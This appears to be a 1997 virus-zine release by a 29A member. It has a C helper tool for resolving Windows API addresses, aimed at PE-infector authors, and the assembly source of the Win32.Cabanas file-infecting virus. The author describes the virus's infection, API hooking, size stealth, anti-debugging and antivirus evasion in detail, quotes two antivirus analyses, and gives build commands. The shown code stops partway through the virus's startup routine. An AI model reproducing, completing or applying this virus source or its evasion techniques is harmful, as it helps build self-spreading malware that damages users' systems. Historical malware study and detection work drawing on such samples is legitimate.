#define IMAGE_SCN_MEM_WRITE 0x80000000 // Section is writeable.

/*- -[TYPES.H]- - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */

#ifndef CHAR
typedef signed char CHAR;
#endif

#ifndef SHORT
typedef signed short SHORT;
#endif

#ifndef LONG
typedef signed long LONG;
#endif

#ifndef INT
typedef signed INT;
#endif

#ifndef BYTE
typedef unsigned char BYTE;
#endif

#ifndef WORD
typedef unsigned short WORD;
#endif

#ifndef DWORD
typedef unsigned long DWORD;
#endif

#ifndef UINT
typedef unsigned UINT;
#endif

#ifndef PCHAR
typedef CHAR *PCHAR;
#endif
#ifndef PSHORT
typedef SHORT *PSHORT;
#endif

#ifndef PLONG
typedef LONG *PLONG;
#endif

#ifndef PINT
typedef INT *PINT;
#endif

#ifndef PBYTE
typedef BYTE *PBYTE;
#endif

#ifndef PWORD
typedef WORD *PWORD;
#endif

#ifndef PDWORD
typedef DWORD *PDWORD;
#endif

#ifndef PUINT
typedef UINT *PUINT;
#endif
/*
. .: .:.. :.. .. .:.::. :. ..:
<<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
.:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
. .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
>===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
.: .:.. ..:. .: ..:.::. ::.. :.:.

[GETPROC]
GetProcAddress-alike utility, by Jacky Qwerty/29A

And here's one more tool you will probably find useful when getting started
in the 32-bit virus coding. Albeit it simply gets the function addresez of
one or more APIz from inside any specified module. It has the advantage of
findin API function adressez exported by ordinal only from the KERNEL32
module library. This is somethin u can't normally do by usin GetProcAddress
on any ordinal exported from KERNEL32, since Microsoft intentionally added
some code to return failure in such casez. This program overcomes this pro-
blem by interactin directly with the export table if necesary. This utility
will surely help u when codin your Win32 PE infector and when findin the so
called "VxDCall" API address (ordinal 1) to do whatever u want under Win95.

*/
/*- -[GETPROC.C]- - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 */

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define RVA2OFS(Type, Base, RVA) ((Type *)((DWORD)(Base) + (DWORD)(RVA))) //a very


useful macro

FARPROC MyGetProcAddr(HMODULE hMod, LPCSTR pszAPIName) {


PIMAGE_DOS_HEADER pMZ;
PIMAGE_NT_HEADERS pPE;
PIMAGE_EXPORT_DIRECTORY pExp;
DWORD cIndex;
FARPROC fnAddr;
if ((fnAddr = GetProcAddress(hMod, pszAPIName)) == 0) {
pMZ = (PIMAGE_DOS_HEADER)hMod;
if (pMZ->e_magic != IMAGE_DOS_SIGNATURE) goto Ret;
pPE = RVA2OFS(IMAGE_NT_HEADERS, pMZ, pMZ->e_lfanew);
if (pPE->Signature != IMAGE_NT_SIGNATURE) goto Ret;
if (pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0) goto Ret;
pExp = RVA2OFS(IMAGE_EXPORT_DIRECTORY, pMZ, pPE->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if ((DWORD)pszAPIName & -0x10000) {
for (cIndex = 0; cIndex < pExp->NumberOfNames; cIndex++)
if (strcmp(RVA2OFS(CHAR, pMZ, RVA2OFS(DWORD, pMZ, pExp->AddressOfNames)[cIndex]) ,
pszAPIName) == 0) break;
if (pExp->NumberOfNames <= cIndex) goto Ret;
cIndex = (DWORD)RVA2OFS(WORD, pMZ, pExp->AddressOfNameOrdinals)[cIndex]; }
else cIndex = (DWORD)pszAPIName - pExp->Base;
if (pExp->NumberOfFunctions <= cIndex) goto Ret;
fnAddr = (FARPROC)RVA2OFS(DWORD, pMZ, RVA2OFS(DWORD, pMZ, pExp->AddressOfFunctions)[
cIndex]); }
Ret: return fnAddr;
}

UINT main(UINT argc, CHAR *argv[]) {


OSVERSIONINFO Version;
HMODULE hMod;
FARPROC fnAddr;
DWORD Ordinal;
UINT i, RetValue = 1;
CHAR *szTmp;
printf("GETPROC - Gets Win32 API function adressez - (c) 1997 jqwerty/29A\n\n");
Version.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&Version)) { printf("Can't get Win32 version\n"); Ret: return RetValue; }
if (Version.dwPlatformId == VER_PLATFORM_WIN32s) { printf("This program can NOT run under
Win32s\n"); goto Ret; }
if (argc == 1) {
printf(" Syntax: GETPROC <Win32 Module Name> <Win32 API #1 [Win32 API #2] ... >\n\n");
if ((hMod = GetModuleHandleA("KERNEL32")) == 0) { printf("[KERNEL32] Module Name base
adress not found\n"); goto Ret; }
printf("[KERNEL32] Module name base adress = %08Xh\n", hMod);
if ((fnAddr = MyGetProcAddr(hMod, "GetModuleHandleA")) == 0) printf("[GetModuleHandleA]
API name base adress not found\n");
else printf("[GetModuleHandleA] API name base adress = %08Xh\n", fnAddr);
if ((fnAddr = MyGetProcAddr(hMod, "GetModuleHandleW")) == 0) printf("[GetModuleHandleW]
API name base adress not found\n");
else printf("[GetModuleHandleW] API name base adress = %08Xh\n", fnAddr);
if ((fnAddr = MyGetProcAddr(hMod, "GetProcAddress")) == 0) printf("[GetProcAddress] API
name base adress not found\n");
else printf("[GetProcAddress] API name base adress = %08Xh\n", fnAddr); }
else {
if ((hMod = LoadLibraryA(strupr(argv[1]))) == 0) { printf("[%s] Module name base adress
not found\n", argv[1]); goto Ret; }
printf("[%s] Module name base adress = %08Xh\n", argv[1], hMod);
for (i = 2; i < argc; i++) {
if ((Ordinal = atoi(argv[i])) == 0) { szTmp = "Name"; fnAddr = MyGetProcAddr(hMod, argv
[i]); }
else { szTmp = "Ordinal"; fnAddr = MyGetProcAddr(hMod, (LPCSTR)Ordinal); }
if (!fnAddr) printf("[%s] API %s base adress not found\n", argv[i], szTmp);
else printf("[%s] API %s base adress = %08Xh\n", argv[i], szTmp, fnAddr); }
FreeLibrary(hMod);
RetValue--; }
goto Ret;
}
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Win32.Cabanas.2999 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; I'm very proud to introduce the first "resident" WinNT/Win95/Win32s virus.
; Not only it's the first virus stayin resident on NT, but is also the first
; with stealth, antidebuggin and antiheuristic capabilitiez. In short wordz,
; this babe is a "per process" memory resident, size stealth virus infecting
; Portable Executable filez on every existin Win32-based system. Those who
; dont know what a "per process" resident virus is, it means a virus staying
; resident inside the host Win32 aplication's private space, monitoring file
; activity and infectin PE filez opened or accesed by such Win32 aplication.
;
; The purpose of this virus is to prove new residency techniquez that can be
; exploited from genuine Win32 infectorz, without all the trouble of writing
; especific driverz for Win95 (VxDs), and WinNT. A genuine Win32 infector is
; a virus bein able to work unmodified across all Win32 platformz available:
; Win95, WinNT and any other future platform suportin the Win32 API interfa-
; ce. So far only Win95 especific virusez have been found, not Win32 genuine
; onez. Make sure to read the complete description about Win32.Cabanas writ-
; ten by P‚ter Sz”r, available at http://www.avp.ch/avpve/newexe/win32/caba-
; nas.stm. U can also read description by Igor Daniloff from Dr.Web, availa-
; ble at http://www.dials.ccas.ru/inf/cabanas.htm as well.
;
; After readin P‚ter Sz”r's description about Win32.Cabanas, i realized he'd
; really made a very serious profesional work. So good that he didnt seem to
; miss any internail detail in the virus, as if he had actually writen the
; bug himself or as if he was actually me, hehe. Obviosly, none of the prior
; onez are true. But, nevertheless, i think it's worth to take his work into
; account even from the VX side of the fence. Really i dunno what's left for
; me to say after such description, so i will simply add my own personal co-
; mentz to P‚ter's log. Erm.. btw why dont u join us? heh >8P
;
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; 1. Technical Description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Win32.Cabanas is the first known 32-bit virus that works under Windows NT
; Server, Windows NT workstation, Windows 95 and Windows 3.x extended with
; Win32s sub-system. It was found in late 1997.
;
; Win32.Cabanas is a per-process memory resident, fast infecting, antidebug-
; ged, partially packed/encrypted, anti-heuristic, semi-stealth virus. The
; "Win32" prefix is not misleading, as the virus is also able to spread in
; all Win32 based systems: Windows NT, Windows 95 and Win32s. The author of
; the virus is a member of the 29A group, the same young virus writer who
; wrote the infamous CAP.A virus.
;
;
; 1.1. Running an infected PE file
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When a Win32.Cabanas infected file is executed, the execution will start
; at the original host entry point. Surprisingly, Cabanas does not touch
; the entry point field in the Image File Header. Instead it patches the
; host program at its entry point. Five bytes at the entry point is replaced
; with a FAR JMP to the address where the original program ended. This can
; be considered as an anti-heuristic feature, as the host entry point value
; in the PE header keeps pointing inside the code section, possibly turning
; off some heuristic flags.
;
; Thus the first JMP points to the real entry point. The first function in
; Cabanas unpacks and decrypts a string table which consists of Win32 KERNEL
; API names. The unpack mechanism is simple but effective enough. Cabanas is
; also an armored virus. It uses "Structured Exception Handling" (typically
; abbreviated as "SEH") as an anti-debug trick. This prevents debugging from
; any application-level debugger, such as TD32.
;
; When the unpack/decryptor function is ready, the virus calls a routine to
; get the original Base Address of KERNEL32.DLL. During infection time, the
; virus searches for GetModuleHandleA and GetModuleHandleW API in the Import
; Table, respectively. When it finds them, it saves a pointer to the actual
; DWORD in the .idata list. Since the loader puts the addresses to this
; table before it executes the virus, Cabanas gets them easily.
;
; If the application does not have a GetModuleHandleA / GetModuleHandleW API
; import, the virus uses a third undocumented way to get the Base Address of
; KERNEL32.DLL by getting it from the ForwarderChain field in the KERNEL32
; import. Actually this will not work under Windows NT, but on Win95 only.
; When the virus has the Base Address/Module Handle of KERNEL32.DLL, it
; calls its own routine to get the address of GetProcAddress function. The
; first method is based on the search of the Import Table during infection
; time. The virus saves a pointer to the .idata section whenever it finds a
; GetProcAddress import in the host. In most cases Win32 applications import
; the GetProcAddress API, thus the virus should not use a secondary routine
; to get the same result. If the first method fails, the virus calls another
; function which is able to search for GetProcAddress export in KERNEL32.
; Such function could be called as GetProcAddress-From-ExportsTable. This
; function is able to search in KERNEL32's Exports Table and find the
; address of GetProcAddress API.
;
; This function is one of the most important ones from the virus point of
; view and it is compatible with all Win32 based systems. If the entry point
; of GetProcAddress was returned by the GetProcAddress-From-ExportsTable
; function, the virus saves this address and use it later on. Otherwise, the
; GetProcAddress-From-ExportsTable function will be used several times. This
; function is also saved with "Structured Exception Handling" to avoid from
; possible exceptions. After this, the virus gets all the API addresses it
; wants to use in a loop. When the addresses are available, Cabanas is ready
; to replicate and call its direct action infection routine.
;
;
; 1.2. Direct action infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The direct action infection part is surprisingly fast. Even though the
; virus goes through all the files in Windows directory, Windows System
; directory and in the current directory respectively, the file infection
; is fast enough to go unnoticed in much systems. This is because the virus
; works with "memory mapped files", a new feature implemented in Win32 based
; systems which simplifies file handling and increases system performance.
;
; First the virus gets the name of Windows directory, then it gets the name
; of Windows System directory and calls the function which searches for non-
; infected executable images. It searches for non directory entries and
; check the size of the files it found.
;
; Files with size dividable by 101 without reminder are assumed to be
; infected. Other files which are too huge will not be infected either.
; After this, the virus checks the file extension, if it matches EXE or
; SCR (screen saver files), the virus opens and maps the file. If the file
; is considered too short, the file is closed. Then it checks the`MZ' marker
; at the beginning of the image. Next it positions to the possible `PE'
; header area and checks the `PE' signature. It also checks that the
; executable was made to run on 386+ machines and looks for the type of
; the file. DLL files are not infected.
;
; After this, the virus calculates a special checksum which uses the
; checksum field of PE files Optional Header and the file-stamp field of
; the Image File Header. If the file seems to be infected the virus closes
; the file. If not, the file is chosen for infection. Cabanas then closes
; the file, blanks the file attribute of the file with SetFileAttributeA API
; and saves the original attributes for later use. This means the virus is
; not stopped by the "Read Only" attribute. Then again, it opens and maps
; the possible host file in read/write mode.
;
; Next it searches for the GetModuleHandleA, GetModuleHandleW and
; GetProcAddress API imports in the host Import Table and calculates
; pointers to the .idata section. Then it calls the routine which
; patches the virus image into the file.
;
; This routine first checks that the .idata section has MEM_WRITE
; characteristics. If not it sets this flag on the section, but only if
; this section is not located in an executable area. This prevents the
; virus from turning on suspicious flags on the code section, triggered
; by some heuristic scanner.
;
; Then it goes to the entry point of the image and replaces five bytes
; with a FAR JMP instruction which will point to the original end of the
; host. After that it checks the relocation table. This is because some
; relocations may overwrite the FAR JMP at the entry point. If the
; relocation table size is not zero the virus calls a special routine
; to search for such relocation entries in the .reloc area. It clears
; the relocation type on the relocation record if it points into the FAR
; JMP area, thus this relocation will not take into account by the loader.
; The routine also marks the relocation, thus Cabanas will be able to
; relocate the host later on. Then it crypts all the information which has
; to be encrypted in the virus body. Including the table which holds the
; original 5 bytes from the entry point and its location.
;
; Next the virus calculates the special checksum for self checking purposes
; and saves this to the time stamp field of the PE header. When everything
; is ready, the virus calculates the full new size of the file and makes
; this value dividable by 101. The real virus code is around 3000 bytes
; only but the files will grow with more bytes, because of this. Cabanas
; has a very important trick here. The virus does not create a new section
; header to hold its code, but patches the last section header in the file
; (usually .reloc) to grow the section body large enough to store the virus
; code. This makes the infection less risky and less noticeable.
;
; Then the virus changes the SizeOfImage field in the PE header to reflect
; the changes made to the last section in the file, then unmaps and closes
; the file. Next it truncates the file at the previously calculated size
; and restores the original time and date stamp. Finally Cabanas resets the
; original attribute of the file. When all the possible files have been
; checked for infection, Cabanas is ready to go memory resident.
;
;
; 1.3. Rebuild the host, Hook API functions and Go memory resident
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The next phase is to rebuild the host program. The virus locates an
; internal parameter block which consists of the previously encrypted code
; from the host (5 bytes) and writes back the 5 original bytes at the entry
; point. After this, it relocates the code area if needed, by searching in
; the .reloc section for marked relocation entries. Next the virus hooks
; API functions and goes memory resident.
;
; The API hooking technique is based on the manipulation of the Import
; Table. Since the host program holds the addresses of imported functions
; in its .idata section, all the virus has to do is to replace those
; addresses to point to its own API handlers.
;
; To make those calculations easy, the virus opens and maps the infected
; program. Then it allocates memory for its per-process part. The virus
; allocates a 12232 bytes block and copies itself into this new allocated
; area. Then it searches for all the possible function names it wants to
; hook: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA,
; MoveFileExW, _lopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW,
; CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose,
; FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA,
; SetFileAttrW. Whenever it finds one of the latter APIs, it saves the
; original address to its own JMP table and replaces the .idata section's
; DWORD (which holds the original address of the API) with a pointer to its
; own API handlers. Finally the virus closes and unmaps the host and starts
; the application, by jumping into the original entry point in the code
; section.
;
; Some Win32 applications however may not have imports for some of these
; file related APIs, they can rather retrieve their addresses by using
; GetProcAddress and call them directly, thus the virus would be unable
; to hook this calls. Not so fast. The virus also hooks GetProcAddress
; for a special purpose. GetProcAddress is used by most applications.
; When the application calls GetProcAddress the virus new handler first
; calls the original GetProcAddress to get the address of the requested
; API. Then it checks if the Module Handle parameter is from KERNEL32 and
; if the function is one of the KERNEL32 APIs that the virus wants to hook.
; If so, the virus returns a new API address which will point into its
; NewJMPTable. Thus the application will still get an address to the virus
; new handler in such cases as well.
;
;
; 1.4. Stealth and fast infection capabilities
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Cabanas is a semi-stealth virus: during FindFirstFileA, FindFirstFileW,
; FindNextFileA and FindNextFileW, the virus checks for already infected
; programs. If the program is not infected the virus will infect it,
; otherwise it hides the file size difference by returning the original
; size for the host program. During this, the virus can see all the file
; names the application accesses and infects every single clean file.
;
; Since the CMD.EXE (Command Interpreter of Windows NT) is using the above
; APIs during a DIR command, every non infected file will be infected (if
; the CMD.EXE was infected previously by Win32.Cabanas). The virus will
; infect files during every other hooked API request as well.
;
; Apart from the encrypted API names strings, the virus also contains the
; following copyright message:
;
; (c) Win32.Cabanas v1.0 by jqwerty/29A.
;
;
; 1.5. Conclusion
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Win32.Cabanas is a very complex virus with several features new in Win32
; based systems. It shows quite interesting techniques that can be used in
; the near future. It demonstrates that a Windows NT virus should not have
; any Windows 95 or Windows NT especific functionality in order to work on
; any Win32 system. The "per-process" residency technique also shows a
; portable viable solution to avoid known compatibility issues between
; Windows 95 and Windows NT respecting their low level resident driver
; implementations. Virus writers can use these techniques and their
; knowledge they have had on Windows 95 to come to a more robust platform.
; So far Win32.Cabanas has made this first step.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 2. Shortcutz
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; (*) http://www.dials.ccas.ru/inf/cabanas.htm
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
; Win32.Cabanas: A brief description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Igor A. Daniloff
;
; Win32.Cabanas is the first known virus that infects files under Microsoft
; 32-bit Windows operating systems (Win32s/Windows 95/Windows NT). Not only
; is it capable of infecting PortableExecutable files, but also remains
; resident in the current session of an infected program in all these
; Windows systems.
;
; The viruses specifically designed for Windows 95 thus far could not
; properly infect files in Windows NT. Although files of Windows 95 and
; Windows NT have identical PE format, certain fields in their PE headers
; are different. Therefore, for infecting files under Windows NT, the PE
; header must be modified appropriately; otherwise Windows NT would display
; an error message in the course of loading the file. Furthermore, viruses
; encounter certain problems in determining the base addresses of WIN32
; KERNEL API in the memory, because KERNEL32.DLL in Windows 95 and Windows
; NT are located at different memory addresses. But Win32.Cabanas smartly
; handles these problems. On starting an infected file, the virus gets
; control, unpacks and decrypts its table of names of WIN32 KERNEL API
; procedures that are needed in the sequel, and then determines the base
; address of KERNEL32.DLL and the addresses of all necessary WIN32 KERNEL
; API functions.
;
; While infecting a file, Win32.Cabanas finds the names of GetModuleHandleA,
; GetModuleHandleW, and GetProcAddress functions from the Import Table and
; stores in its code the offsets of the addresses of these procedures in the
; Import Table (in the segment .idata, as a rule). If the names of these
; procedures are not detectable, Win32.Cabanas uses a different undocumented
; method of finding the base address of KERNEL32 and the addresses of WIN32
; KERNEL API. But there is a bug in this undocumented method; therefore the
; method is inoperative under Windows NT. If the addresses of
; GetModuleHandleA or GetModuleHandleW functions are available in the Import
; Table of the infected file, the virus easily determines the WIN32 KERNEL
; API addresses through the GetProcAddress procedure. If the addresses are
; not available in the Import Table, the virus craftily finds the address of
; GetProcAddress from the Export Table of KERNEL32. As already mentioned,
; this virus mechanism is not operative under Windows NT due to a bug, and,
; as a consequence, the normal "activity" of the virus is disabled. This is
; the only serious bug that prevents the proliferation of Win32.Cabanas
; under Windows NT. On the contrary, in Windows 95 the virus "feels
; completely at home" and straightforwardly (even in the absence of the
; addresses of GetModuleHandleA or GetModuleHandleW) determines the base
; address of KERNEL32.DLL and GetProcAddress via an undocumented method.
;
; Using the GetProcAddress function, Win32.Cabanas can easily get the
; address of any WIN32 KERNEL API procedure that it needs. This is precisely
; what the virus does: it gets the addresses and stores them.
;
; Then Win32.Cabanas initiates its engine for infecting EXE and SCR PE-files
; in \WINDOWS, \WINDOWS\SYSTEM, and the current folder. Prior to infecting a
; file, the virus checks for a copy of its code through certain fields in
; the PE header and by the file size, which for an infected must be a
; multiple of 101. As already mentioned, the virus searches for the names of
; GetModuleHandleA, GetModuleHandleW or GetProcAddress in the Import Table
; and saves the references to their addresses. Then it appends its code at
; the file end in the last segment section (usually, .reloc) after modifying
; the characteristics and size of this section. Thereafter, the virus
; replaces the five initial bytes of the original entry point of the code
; section (usually, .text or CODE) by a command for transferring control to
; the virus code in the last segment section (.reloc). For this purpose, the
; virus examines the relocation table (.reloc) for finding some element in
; the region of bytes that the virus had modified. If any, the virus
; "disables" the reference and stores its address and value for restoring
; the initial bytes of the entry point at the time of transfer of control
; to the host program and, if necessary, for appropriately configuring the
; relocation.
;
; After infecting all files that yield to infection in \WINDOWS, \WINDOWS\
; SYSTEM, and in the current folder, the virus plants a resident copy into
; the system and "intercepts" the necessary system functions. Using
; VirtualAlloc, the virus allots for itself 12232 bytes in the memory and
; plants its code there. Then it tries to "intercept" the following WIN32
; KERNEL API functions: GetProcAddress, GetFileAttributesA,
; GetFileAttributesW, MoveFileExA, MoveFileExW, _loopen, CopyFileA,
; CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW,
; CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW,
; FindNextFileA, FindNextFileW, SetFileAttrA, and SetFileAttrW. The virus
; "picks up" the addresses of these functions from the Import Table, and
; writes the addresses of its handlers in the Import Table. On failing to
; "intercept" certain necessary functions, the virus, when the host program
; calls for the GetProcAddress function, verifies whether this function is
; necessary for the host program, and returns the address of the virus
; procedure to host program if necessary. When a program calls for certain
; functions that have been "intercepted" by Win32.Cabanas, the file
; infection engine and/or the stealth mechanism are\is initialized. Thus,
; when FindFirstFileA, FindFirstFileW, and FindNextFileA or FindNextFileW
; functions are called, the virus may infect the file which is being
; searched and hide the increase in the infected file size.
;
; Win32.Cabanas cannot be regarded as a "true resident" virus, because it
; "intercepts" system functions and installs its copy in a specific memory
; area only in the current session of an infected program. But what will
; happen on starting, for example, an infected Norton Commander for Windows
; 95 or Command Interpreter for Windows NT? Or a resident program? Indeed,
; Win32.Cabanas will also "work hard" side by side with such a program until
; it is terminated.
;
; Win32.Cabanas contains an encrypted text string
; "(c) Win32.Cabanas v1.0 by jqwerty/29A"
;
; (c) 1997 DialogueScience, Inc., Moscow, Russia. All rights reserved.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
;
; 3. Main featurez
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; * Platformz: WindowsNT, Windows95, Win32s, i.e. all Win32 platformz.
; * Residency: Yes, "Per Process", workin on all Win32 systemz.
; * Non-Residency: Yes, direct action, infects PEz before goin resident.
; * Stealth: Yes, size stealth of inf.filez (F-Potatoe95 fooled).
; * AntiDebuging: Yes, TD32 or any other "aplication" level debuger
; generates an exception when debugin an infected
; aplication. This obviosly doesnt aply for Soft-ICE
; for Windows95, a big monster.
; * AntiHeuristicz: Yes, inf.filez have no obvious symptomz of infection.
; Other Win95 virusez tend to "mark" the PE header so
; they are easily noticeable. See: Other featurez (e).
; * AntiAntivirus: Yes, disinfection of inf.filez is almost *imposible*.
; * Fast infection: Yes, filez are infected when accesed for any reason.
; * Polymorphism: No, the poly engine was stripped and removed on purpose.
; * Other featurez:
; (a) The EntryPoint field in the PE hdr is not modified.
; (b) Win32 file API functionz are hooked for infection and
; stealth purposez but also for platform compatibility.
; (c) Use of the Win32 "File-Maping" API functionz, thus
; implementin "Memory-Mapped Filez". No more "ReadFile",
; "SetFilePointer", "WriteFile"... it was about time.
; (d) Absolutely no use of absolute adressez in sake of
; compatibility with other future Win32 releasez.
; (e) The SHAPE AV program sucks, but sadly it was the best
; thing detectin PE infected filez heuristicaly. Well
; almost as it didnt triger a single flag on this one :)
; (f) Use of "Structured Exception Handling" (SEH) in those
; critical code fragmentz that could generate GP faultz,
; i.e. exceptionz are intercepted and handled properly.
; (g) Unicode suport. This babe really works in NT. No lie.
;
;
; 4. Who was Cabanas?
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Gonzalo Cabanas used to be a daydream believer. We shared several thingz
; in comon, heard same R.E.M music style, wore the same ragged blue jeanz,
; and behaved like kidz everywhere we went together, putin tackz on the tea-
; cher's chair, stealin some classmate's lunch and so on. We even liked the
; same girlz, which explains why we sometimez ended up punchin each other's
; face from time to time. However, u could find us the next day, smoking a-
; round by the skoolyard as if nothin had ever hapened. We were the best
; friendz ever. I know this virus wont return him back to life, nor "will do
; him justice", however, i still wanted to somewhat dedicate this program in
; his honor.
;
;
; 5. Greetz
; ÄÄÄÄÄÄÄÄÄ
; The greetz go to:
;
; Gonzo Cabanas ......... Hope to see u somewhere in time.. old pal!
; Murkry ................ Whoa.. i like yer high-tech ideaz budie!
; VirusBuster/29A ....... U're the i-net man pal.. keep doin it!
; Vecna/29A ............. Keep up the good work budie.. see ya!
; l- .................... Did ya ask for some kick-ass lil' creature? X-D
; Int13 ................. Hey pal.. u're also a southamerican rocker! ;)
; Peter/F-Potatoe ....... Yer description rulez.. Mikko's envy shines!
; DV8 (H8), kdkd, etc ... Hey budiez.. now where da hell are u?
; GriYo, Sandy/29A ...... Thx for yer patience heh X-D
;
;
; 6. Disclaimer
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This source code is for educational purposez only. The author is not res-
; ponsable for any problemz caused due to the assembly of this file.
;
;
; 7. Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn cabanas.asm
; tlink32 -Tpe -c -x -aa cabanas,,, import32
; pewrsec cabanas.exe
;
;
; (c) 1997 Jacky Qwerty/29A.

.386p ;generate 386+ protected mode instructionz


.model flat ;no segmentz and a full 32-bit offset.. what a dream ;)

;Some includez containin very useful structurez and constantz for Win32

include Useful.inc
include Win32API.inc
include MZ.inc
include PE.inc

;Some equ's needed by the virus

nAPIS = 1*1024 ;size of jump table holdin hooked APIz


nHANDLEZ = 2*1024 + 512 ;size of Handlez table
nPATHNAMEZ = 4*1024 + 512 ;size of PathNamez table

extrn GetModuleHandleA :proc ;APIz used durin first generation only


extrn GetProcAddress :proc

.data
db ? ;some dummy data so tlink32 dont yell

.code

;Virus code starts here

v_start:

call get_base

code_table:

dd 12345678h ;host RVA entry point


dw 1 ;number of bytez
db ? ;bytez to patch
dw 0 ;end of parameter block

code_start:

;Packed APIz needed by the virus. They will travel in packed/encrypted form

ve_stringz:

veszKernel32 db 'KERNEL32',0
veszGetModuleHandleA db 'GetModuleHandleA'
veszGetModuleHandleW db 80h,17

eExts db 'fxEtcR',0 ;list of file extensionz

veszGetProcAddress db 'GetProcAddress',0
veszGetFileAttributesA db 'Ge','t'+80h,'AttributesA'
veszGetFileAttributesW db 80h,19
veszMoveFileExA db 'Mov','e'+80h,'ExA'
veszMoveFileExW db 80h,12
vesz_lopen db '_lopen',0
veszCopyFileA db 'Cop','y'+80h,'A'
veszCopyFileW db 80h,10
veszOpenFile db 'Ope','n'+80h,0
veszMoveFileA db 'Mov','e'+80h,'A'
veszMoveFileW db 80h,10
veszCreateProcessA db 'CreateProcessA'
veszCreateProcessW db 80h,15
veszCreateFileA db 'Creat','e'+80h,'A'
veszCreateFileW db 80h,12
veszFindClose db 'FindClose',0
veszFindFirstFileA db 'FindFirs','t'+80h,'A'
veszFindFirstFileW db 80h,15
veszFindNextFileA db 'FindNex','t'+80h,'A'
veszFindNextFileW db 80h,14
veszSetFileAttributesA db 'Se','t'+80h,'AttributesA'
veszSetFileAttributesW db 80h,19
veszCloseHandle db 'CloseHandle',0
veszCreateFileMappingA db 'Creat','e'+80h,'MappingA',0
veszMapViewOfFile db 'MapViewO','f'+80h,0
veszUnmapViewOfFile db 'UnmapViewO','f'+80h,0
veszSetFilePointer db 'Se','t'+80h,'Pointer',0
veszSetEndOfFile db 'SetEndO','f'+80h,0
veszSetFileTime db 'Se','t'+80h,'Time',0
veszGetWindowsDirectory db 'GetWindowsDirectoryA',0
veszGetSystemDirectory db 'GetSystemDirectoryA',0
veszGetCurrentProcess db 'GetCurrentProcess',0
veszGetModuleFileName db 'GetModul','e'+80h,'NameA',0
veszWriteProcessMemory db 'WriteProcessMemory',0
veszWideCharToMultiByte db 'WideCharToMultiByte',0
veszVirtualAlloc db 'VirtualAlloc',0

eEndOfFunctionNamez db 0

;Copyright and versionz

eszCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0

ve_string_size = $ - ve_stringz

get_base:

mov ecx,ve_string_size ;get size of packed/encrypted stringz


mov esi,[esp] ;get pointer to packed/encrypted stringz
xor ebx,ebx
mov eax,esi
sub esi,ecx
cld
sub dword ptr [esp],code_table - seh_fn
add esi,[eax - 4]
push dword ptr fs:[ebx] ;set SEH frame.. ever seen FS in action? X-D
lea edi,[esi + pCodeTable - ve_stringz]
stosd ;save pointer to code_table
add eax,12345678h
delta_host = dword ptr $ - 4
stosd ;save actual host base adress
mov eax,esi
stosd ;save pointer to virus start

ebp_num = ddGetProcAddress + 7Fh


tmp_edi = pcode_start + 4

mov fs:[ebx],esp
pushad
xchg eax,[ebx - 2] ;go away lamerz and wannabeez..
db 2Dh
seh_rs: sub edi,tmp_edi - v_stringz ;get pointer to KERNEL32 API name
pop eax
push edi ;pass the pointer twice
push edi

